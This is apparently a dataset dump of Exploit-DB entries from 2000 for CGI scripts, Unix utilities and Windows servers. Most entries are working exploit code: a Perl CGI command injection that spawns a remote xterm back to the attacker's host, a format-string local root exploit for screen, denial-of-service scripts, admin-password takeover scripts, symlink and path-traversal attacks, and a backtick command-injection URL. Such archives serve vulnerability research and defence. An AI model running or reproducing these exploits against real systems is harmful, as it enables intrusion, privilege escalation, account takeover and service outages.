QLWD/code_shield huggingface dataset:
标题: CGI Script Center Auction Weaver 1.0.2 - Remote Command Execution EDB-ID: 20194 CVE: 2000-0690 类型: REMOTE 平台: CGI 发布日期: 2000-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1645/info

CGI Script Center's Auction Weaver does not verify the validity of the value in the variable 'fromfile'. Therefore it is possible to perform arbitrary commands on a remote system under the UID of the http daemon by altering the variable 'fromfile'.


#!/usr/bin/perl -w

## Auction Weaver 1.02 / Only confirmed with LITE
##        -  Proof of Concept exploit -
##
## CGI Script Center have just released an update
## of Auction Weaver due to security reasons - I
## suggest that you spend some more time securing
## it, and the other scripts - It is really needed.
##
## This exploit will spawn a xterm from $target
## to $attacker.
##
## This exploit will not work on hosts running
## Auction Weaver on NT, due to the xterm call.
##
## CGI Script Center, please contact me if you need
## help with securing your scripts...
##
## teleh0r@doglover.com / anno 2000
## http://teleh0r.cjb.net

use strict; use Socket;

if (@ARGV < 3) {
print("Usage: $0 <target> <attacker> <dpy>\n");
exit(1);
}

my($target,$attacker,$dpy,$length,$cgicode,
$agent,$sploit,$iaddr,$paddr,$proto);

($target,$attacker,$dpy) = @ARGV;

if ($dpy !~ /\d/) {
print("dpy must be a number, probably 0\n");
exit(1);
}

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/awl/auctionweaver.pl\n");
print("Command: xterm -ut -display $attacker:$dpy\n\n");

system("xhost + $target");

$length = 138 + length($attacker.$dpy);

$cgicode =
"flag1=1&fromfile=%7Cxterm+-display+$attacker%3A$dpy%7C&placebid=1&catdir".
"=cat1&username=teleh0r&password=ohbaby&bid=Ihavenomoney&nobiditem=1&sbut".
"ton=BID";

$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

# The path to auctionweaver.pl may of course need to be changed.

$sploit=
"POST /cgi-bin/awl/auctionweaver.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$cgicode";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(3);
system("xhost - $target");
print("\nAll done - hopefully you got the flying xterm!\n");
exit(0) URL: https://www.exploit-db.com/exploits/20194
标题: LPPlus 3.2.2/3.3 - Permissions Denial of Service EDB-ID: 20192 CVE: 2000-0880 类型: DOS 平台: UNIX 发布日期: 2000-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1643/info

Vulnerability #1: Several files that are part of the LPPlus print management system are installed setuid root by default. These files include:

$LPHOME/bin/dccsched 
$LPHOME/bin/dcclpdser 
$LPHOME/bin/dccbkst 

These start the scheduler, LPD server and network status daemons.

$LPHOME/bin/dccshut 
$LPHOME/bin/dcclpdshut 
$LPHOME/bin/dccbkstshut

These stop the same services.

By default, all six may be run by a user of any privilege level, allowing any user to start and stop printing services, regardless of userid or group.

Vulnerability #2: $LPHOME/system/lpdprocess is created mode 777. This file contains the process ID of the dcclpdser process. If a user replaces the PID in $LPHOME/system/lpdprocess with the PID of a target process, then runs $LPHOME/bin/dcclpdshut, the combination of this file's permissions, and the fact that dcclpdshut is executable by any user, allows any user to send signal 2 (SIGINT) to, thereby shutting down, any process.

Vulnerability #1: 

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep dcc
test 26357 26351 0 18:18:06 pts/0 0:00 grep dcc
root 26262 1 0 17:41:50 ? 0:01 /opt/lpplus/bin/dccsched
root 26272 1 0 17:42:03 ? 0:00 /opt/lpplus/bin/dcclpdser
root 26276 1 0 17:42:14 ? 0:00 /opt/lpplus/bin/dccbkst
$ dccbkstshut
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ dccshut
LPP054I LP Plus scheduler ordered to shutdown.
$ ps -ef|grep dcc 
test 26253 26239 0 17:39:45 pts/0 0:00 grep dcc 
$

Vulnerability #2

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep inet
test 26285 26279 0 17:42:42 pts/0 0:00 grep inet
root 12276 1 0 Aug 22 ? 0:00 /usr/sbin/inetd -s
$ cat > $LPHOME/system/lpdprocess
12276
^D
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ ps -ef|grep inet
test 26291 26279 0 17:45:17 pts/0 0:00 grep inet
$ URL: https://www.exploit-db.com/exploits/20192
标题: LPPlus 3.2.2/3.3 - dccscan Unprivileged read EDB-ID: 20193 CVE: 2000-0881 类型: LOCAL 平台: UNIX 发布日期: 2000-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1644/info

$LPHOME/bin/dccscan is suid-root and can be executed by any user. It is possible for an unprivileged user to print files to which he does not have read access. In testing, this works even for printers to which the user is is not given any access in the LPPlus security configuration.

# id
uid=0(root) gid=1(other)
# ls -alt /root/test
total 6
drwx------ 2 root other 512 Sep 5 17:46 .
-r-------- 1 root other 365 Sep 5 17:46 foo
drwx------ 3 root other 512 Sep 5 17:46 ..
# su - test
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ id
uid=600(test) gid=300(users)
$ ls -alt /root/test
/root/test: Permission denied
$ dccscan /root/test 30 5 "-dlp0"
$

# now, go to the printer and wait for the files to come out, or watch them 
# being queued as root, if you have access to dccstat URL: https://www.exploit-db.com/exploits/20193
标题: Juergen Weigert screen 3.9 - User Supplied Format String EDB-ID: 20191 CVE: 2000-0901 类型: LOCAL 平台: BSD 发布日期: 2000-09-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1641/info

Various format string vulnerabilities exist in versions 3.9.5 and prior of 'screen' that may allow local users to elevate their privileges. If screen is setuid root, it is possible to alter the contents of the variable which stores the user id.


/****************************************************************
*
*
*  Screen 3.7.6 (and others) local
exploit                                                                *

*  by
IhaQueR@IRCnet
*
*
*
****************************************************************/



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>



#define TMPBUFSIZE 4096

#define SCREENRC "/usr/home/paul/.screenrc"
#define SCREEN "/usr/bin/screen"

#define AREP 1
#define BUFOFFSET 324
#define PADDING 3
#define WRITEADDR 0x807beb4


//  some offsets grabbed from 3.7.6
//  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
//  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
//  + 64  +64



int main(int argc, char** argv)
{
int i, l;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
unsigned char* cp;
unsigned a, *p;


  if(argc != 2) {
   printf("USAGE %s offset\n", argv[0]);
   return 0;
  }

  l = atoi(argv[1]);
  printf("creating magic string\n");

  bzero(buf, TMPBUFSIZE);

/*  consume stack arguments */
  for(i=0; i<BUFOFFSET/4; i++)
   strcat(buf, "%.0d");

/*  finally write to adress */
//  for(i=0;i<9; i++)
   strcat(buf, "%n");

  if(fp = fopen(SCREENRC, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 11111\n");
   fclose(fp);
  }
  else {
   printf("ERROR: opening %s\n", SCREENRC);
  }

/*  now create the magic dir... */
  bzero(adr, (AREP+2)*sizeof(unsigned));
  cp = adr;
  for(i=0; i<PADDING; i++) {
   *cp = 'p';
   cp++;
  }

  p = (unsigned*) cp;

  a = WRITEADDR;
  a = a + l;

  for(i=0; i<AREP; i++) {
   *p = a;
//   a += 4;
   p++;
  }

  *p = 0;

/* make dir and call screen */
  mkdir((char*)adr, 0x777);
  chdir((char*)adr);
  argv[1] = NULL;
  execv(SCREEN, argv);
} URL: https://www.exploit-db.com/exploits/20191
标题: eEye Digital Security IRIS 1.0.1 / SpyNet CaptureNet 3.0.12 - Remote Buffer Overflow EDB-ID: 20184 CVE: 2000-0734 类型: REMOTE 平台: WINDOWS 发布日期: 2000-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1627/info

IRIS from eEye Digital Security is a protocol analyzer geared towards network management, it is currently in BETA. This product was formerly known as SpyNet CaptureNet. Certain versions of the this software are vulnerable to a remotely triggered buffer overflow attack. This attack is orchestrated by a malicious user launching multiple UDP sessions to random ports on the machine which IRIS resides on (and is in operation on). The net result of this buffer overflow is that the product ceases to function and may drive system resources to 100% before exiting. It may be possible that this overflow (a heap overflow according to the attached advisory) could result in a system compromise. No information indicating that this is the case has been released.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20184.zip URL: https://www.exploit-db.com/exploits/20184
标题: Ipswitch IMail 6.x - File Attachment EDB-ID: 20182 CVE: 2000-0780 类型: REMOTE 平台: WINDOWS 发布日期: 2000-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1617/info

IPSWITCH ships a product titled IMail, an email server for usage on NT servers serving clients their mail via a web interface. To this end the IMail server provides a web server typically running on port 8383 for it's end users to access. Via this interface users may read and send mail, as well as mail with file attachments. Certain versions of IMail do not perform proper access validation however resulting in users being able to attach files resident on the server. The net result of this is users may attach files on the server to which they should have no access. This access is limited to the user privileges which the server is being run as, typically SYSTEM.

It should be noted that once a user attachs the files in question the server deletes them.

Here is a sample mail header sent by IMAIL web services which
has an attachment. Please note that this is line wrapped for readability.

Date: Tue, 11 Jul 2000 13:10:28 +0200
Message-ID: <200007111310.AA2374238664@bar.com>
MIME-Version: 1.0 Content-Type: multipart/mixed; 
boundary="==IMail_v5.0==" 
From: "Timescape" <foo@bar.com>
Reply-To: <foo@bar.com> 
To: <foo@bar.com>
Subject: test
X-Mailer: <IMail v5.01> 
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 
Return-Path: <foo@bar.com> 
X-OriginalArrivalTime: 11 Jul 2000 11:20:48.0256 (UTC) FILETIME=[10327800:01BFEB2A]

This is a multi-part message in MIME format.

--==IMail_v5.0==
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

--==IMail_v5.0==
Content-Type: application/octet-stream;
name="gonzo2.jpg "
Content-Transfer-Encoding: base64

--==IMail_v5.0==--

The thing which we will be exploiting is the
X-Attachments: D:\IMAIL\spool\gonzo2.jpg ;

I made it work by modifing the compose message HTML file and
saved it locally. Then i can just arrange the path to the
attachment so that it can read

X-Attachments: D:\IMAIL\spool\..\bar\users\admin\main.mbx ; URL: https://www.exploit-db.com/exploits/20182
标题: vqSoft vqServer 1.4.49 - Denial of Service EDB-ID: 20178 CVE: 2000-0766 类型: DOS 平台: MULTIPLE 发布日期: 2000-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1610/info

vqServer 1.4.49 is subject to a buffer overflow. If a GET request is sent to the server containing 65 000 characters the server will stop responding. A reboot is required in order to gain normal functionality.


#!/usr/bin/perl 
# DoS exploit for vqServer 1.4.49 
# This vulnerability was discovered by nemesystm 
# (auto45040@hushmail.com)
#
# code by: sinfony    (chinesef00d@hotmail.com) 
# [confess.sins.labs] (http://www.ro0t.nu/csl) 
# and DHC member     
#
# kiddie quote of the year:
# <gammbitr> dude piffy stfu i bet you don't even know how to exploit it 

die "vqServer 1.4.49 DoS by sinfony (chinesef00d\@hotmail.com)\n
usage: $0 <host> \n" 
if $#ARGV != 0; 

use IO::Socket;

$host = $ARGV[0];
$port = 80;

print "Connecting to $host on port $port...\n"; 
$suck = IO::Socket::INET->
 new(Proto=>"tcp", 
 PeerAddr=>$host,
 PeerPort=>$port)
 || die "$host isnt a webserver you schmuck.\n"; 

$a = A;
$send = $a x 65000;
 print "Connected, sending exploit.\n";
 print $suck "GET /$send\n"; 
sleep(3); 
 print "Exploit sent. vqServer should be dead.\n";
close($suck) URL: https://www.exploit-db.com/exploits/20178
标题: PragmaSys TelnetServer 2000 - rexec Buffer Overflow EDB-ID: 20175 CVE: 2000-1002 2000-0708 类型: DOS 平台: WINDOWS 发布日期: 2000-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1605/info

Pragma Systems offers a windows remote access server called TelnetServer 2000. TelnetServer crashes if more than 1000 NULL characters are sent to its rexec port, 512. This can be executed by an anonymous attacker from anywhere on the internet. It is not known whether this apparent overflow can be exploited to gain access on the victim host.

#!/usr/bin/perl
#########################################################
# Exploit by USSRLabs www.ussrback.com
# send 5k of null causes the server to crash.
#########################################################
#
# ./$0.pl -s <server> -p <port>
#
# Null request DoS
#
use Getopt::Std;
use Socket;

getopts('s:p', \%args);
if(!defined($args{s})){&usage;}

my($serv,$port,$URL,$buf,$in_addr,$paddr,$proto);
$serv = $args{s};                       # remote server
$port = $args{p} || 512;                # remote port, default is 512
$foo = "\0";                            # this is the Null
$number = "1000";                       # this is the total number of Null
$data .= $foo x $number;                # result of $foo times $number
$buf = "$data";                         # issue this response to the server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("Data has been successfully sent to $serv\n");

sub usage {die("\n\n$0 -s <server> [ -p <port> ]\n\n");} URL: https://www.exploit-db.com/exploits/20175
标题: CGI Script Center Subscribe Me Lite 2.0 - Administrative Password Alteration (1) EDB-ID: 20176 CVE: 2000-0688 类型: REMOTE 平台: CGI 发布日期: 2000-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1607/info

Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.

#!/usr/bin/perl -w

## Subscribe Me Lite 2.0 exploit / www.cgiscriptcenter.com
## This exploits changes the administrator password and
## let's anyone take over the mailing list. You can send
## bogus e-mail to everyone on the list.
##
## May work on earlier versions, but not sure - not sure
## if it will work on the Professional version either.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <target> <newpass>\n");
    exit(1);
}

my($target,$newpass,$crypt,$length,$command,
   $agent,$sploit,$iaddr,$paddr,$proto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New password: $newpass / $crypt\n\n");

$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

$sploit=
"POST /cgi-bin/subscribe.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$command";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Check out: http://$target/cgi-bin/subscribe.pl\n");

exit(0); URL: https://www.exploit-db.com/exploits/20176
标题: Gert Doering mgetty 1.1.19/1.1.20/1.1.21/1.22.8 - Symbolic Link Traversal EDB-ID: 20179 CVE: 2000-0691 类型: LOCAL 平台: UNIX 发布日期: 2000-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1612/info

A vulnerability exists in a portion of the mgetty package, by Gert Doering. By exploiting a flaw in the faxrunq and faxrunqd programs, it is possible for local users to create arbitrary files, and alter arbitrary files on the filesystem. This in turn can lead to local root compromise.

The faxrunq and faxrunqd programs will follow symbolic links. By creating a symbolic link named .last_run in /var/spool/fax/outgoing, and running the faxrunqd or faxrunq program, arbitrary files can be created. Existing files will have their contents overwritten.

mgetty is a popular getty replacement package that supports fax receipt and transmission. It runs on a wide range of systems, and is distributed with a number of popular Linux distributions. It is also part of the OpenBSD and FreeBSD ports packages. It is not, however, installed by default on either system.

mgetty is marked BROKEN in the OpenBSD ports package because of this problem and users are not able to install it.

ln -s /TEST /var/spoo/fax/outgoing/.lastrun
faxrunqd -l ttyS0 URL: https://www.exploit-db.com/exploits/20179
标题: CGI Script Center Subscribe Me Lite 2.0 - Administrative Password Alteration (2) EDB-ID: 20177 CVE: 2000-0688 类型: REMOTE 平台: CGI 发布日期: 2000-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1607/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.


<html>
<FORM ACTION="http://www.cgiscriptcenter.com/cgi-bin/subprodemo/subscribe.pl" METHOD="POST">
    <CENTER><BR>
    <TABLE BORDER="0" WIDTH="400">
      <TBODY>
      <TR>
        <TD>
        
        <P><B><FONT FACE="verdana, arial, helvetica"><FONT COLOR="#FF0000">Subscribe
          Me LITE</FONT> Status: Admin Password Set Vulnerability Exploit</FONT></B></P>
        <CENTER><FONT FACE="verdana, arial, helvetica"><FONTCOLOR="#FF0000">n30</FONT></CENTER>
        <P><FONT SIZE="-1" FACE="verdana, arial, helvetica">Please enter the NEW Admin Pass: .</FONT></P>
        <CENTER>
        <TABLE BORDER="0">
          <TBODY>
          <TR>
            <TD ALIGN="RIGHT"><INPUT TYPE="PASSWORD" NAME="pwd"></TD>
            <TD><FONT SIZE="-2" FACE="verdana, arial, helvetica">password</FONT></TD>
          </TR>
          <TR>
            <TD ALIGN="RIGHT"><INPUT TYPE="PASSWORD" NAME="pwd2"></TD>
            <TD><FONT SIZE="-2" FACE="verdana, arial, helvetica">confirmation</FONT></TD>
          </TR>
          <TR>
            <TD ALIGN="CENTER"><BR>
            <INPUT TYPE="SUBMIT" NAME="setpwd" VALUE="  Set Password  "></TD>
            <TD><BR>
            <INPUT TYPE="RESET" NAME=""></TD>
          </TR></TBODY>
        </TABLE></CENTER></TD>
      </TR></TBODY>
    </TABLE>
<FONTSIZE="1" FACE="verdana, arial, helvetica"><B><BR> To Use Modify Source To Point to subscribe.pl on TARGET Server <BR><BR><a href="mailto:n30@alldas.de">mail-me</a></CENTER></FORM>
</html> URL: https://www.exploit-db.com/exploits/20177
标题: PHP-Nuke 1.0/2.5 - Administrative Privileges EDB-ID: 20158 CVE: 2000-0745 类型: WEBAPPS 平台: PHP 发布日期: 2000-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1592/info

PHP-Nuke is a website creation/maintainence tool written in PHP3. It is possible to elevate priviliges in this system from normal user to administrator due to a flaw in authentication code. The problem occurs here:

$aid = variable holding author name, pwd = author password

$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);

if($pass == $pwd) {
$admintest = 1;
}
}

First off, the code checks to make sure the query passed to mysql_query is legal. There are no checks to see whether any rows are returned (whether any authors match $aid..). Then, the password given is compared to the result of the above query. If the author doesn't match, mysql_fetch_row returns FALSE. This is where the problem occurs. A NULL string is logically equal to FALSE and thus if an empty string is supplied as password, the condition tested for above (the if($pass == $pwd)) is met and admintest is set to 1 (TRUE). The user is then able to perform all administrative functions.

http://target/admin.php3?admin=any_data URL: https://www.exploit-db.com/exploits/20158
标题: Minicom 1.82/1.83 - Capture-file Group Ownership EDB-ID: 20160 CVE: 2000-0698 类型: LOCAL 平台: LINUX 发布日期: 2000-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1599/info

Minicom is a unix terminal program often used for communication between computers with modems. It is often installed setgid uucp, as this access is required for regular users to use certain devices on the system. Through specifying a capture-file on the command line, a file can be created with effective gid uucp and thus owned by gid uucp. Where this is a serious concern is on systems using uucp -- critical files writeable by group uucp can be overwritten by exploiting this vulnerability leading to other problems. 

Note: One of the versions listed as vulnerable (1.83.1) has been reported as not being vulnerable as a FreeBSD port.

> @(#)Minicom V1.83.0 (compiled Mar 7 2000)(c) Miquel van Smoorenburg
> 
> [lcamtuf@nimue lcamtuf]$ minicom -C foo
> minicom: there is no global configuration file /etc/minirc.dfl
> Ask your sysadm to create one (with minicom -s).
> 
> [lcamtuf@nimue lcamtuf]$ ls -l foo
> -rw-rw-r-- 1 lcamtuf uucp 0 Aug 18 12:21 foo
> ^^ ^^^^
> 
> Any file can be created anywhere with uucp privledges - it will follow
> symlinks. Not nice on systems running uucp services.
> URL: https://www.exploit-db.com/exploits/20160
标题: X-Chat 1.2/1.3/1.4/1.5 - Command Execution via URLs EDB-ID: 20161 CVE: 2000-0787 类型: REMOTE 平台: LINUX 发布日期: 2000-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1601/info

A vulnerability exists in versions 1.4.2 and earlier of the X-Chat IRC client. By supplying commands enclosed in backticks (``) in URL's sent to X-Chat, it is possible to execute arbitrary commands should the X-Chat user decide to view the link by clicking on it. This is due to the manner in which X-Chat launches pages for viewing.

X-Chat launches Netscape without checking for shell metacharacters in the supplied URL. This allows for an attacker to exploit shell expansion capabilities to execute commands as the user running Netscape.

http://www.altavista.com/?x=`date`y='`date`' URL: https://www.exploit-db.com/exploits/20161
标题: Multisoft FlagShip 4.4 - Installation Permission EDB-ID: 20155 CVE: 2000-0721 类型: LOCAL 平台: LINUX 发布日期: 2000-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1586/info

A vulnerability exists in the installation of Multisoft's FlagShip 4.4 product. Some binaries are installed with world writable permissions. This may allow an attacker to alter a binary and cause other users to execute arbitrary code.

The files: 
/usr/bin/FSserial 
/usr/bin/FlagShip_c
/usr/bin/FlagShip_p

are world writable. URL: https://www.exploit-db.com/exploits/20155